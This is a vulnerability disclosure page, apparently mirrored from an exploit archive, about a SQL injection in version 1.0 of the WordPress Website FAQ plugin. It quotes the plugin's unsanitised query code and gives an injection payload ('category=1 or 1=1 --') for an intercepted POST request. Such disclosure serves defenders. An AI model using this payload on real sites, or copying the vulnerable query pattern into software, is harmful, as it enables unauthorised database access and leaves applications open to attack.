Lucene search
K

WordPress Website FAQ Plugin v1.0 SQL Injection

🗓️ 26 Jun 2012 00:00:00Reported by Chris KellumType 
zdt
 zdt
🔗 0day.today👁 19 Views

WordPress Website FAQ Plugin v1.0 SQL Injection vulnerability in website-faq-widget.ph

Code
# Exploit Title: WordPress Website FAQ Plugin v1.0 SQL Injection
# Date: 6/25/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://wordpress.org/extend/plugins/website-faq/
# Software Link: http://downloads.wordpress.org/plugin/website-faq.zip
# Version: 1.0
 
 
==============================================================================
Vulnerability location: /wp-content/plugins/website-faq/website-faq-widget.php
==============================================================================
 
     Lines 106-115:
 
          function displayAnswer()
          {
         global $wpdb;
             $master_table = $wpdb->prefix . "faq";
         $category = $_POST['category'];
         $searchtxt = $_POST['searchtxt'];
         if($category!=0)
         {
            $sql = "SELECT * FROM $master_table WHERE faq_category=".$category." AND  faq_question LIKE '%".$searchtxt."%'";
         }
 
===============================================================
Vulnerability Details: faq_category vulnerable to SQL injection
===============================================================
 
When submitting a query via the widget, intercept the post request via burp or other proxy to find the following:
 
              action=displayAnswer&category=1&searchtxt=[your query]
 
Changing category=1 to category=1 or 1=1 -- exposes the vulnerability, as it returns all FAQ results regardless of searchtxt value.



#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation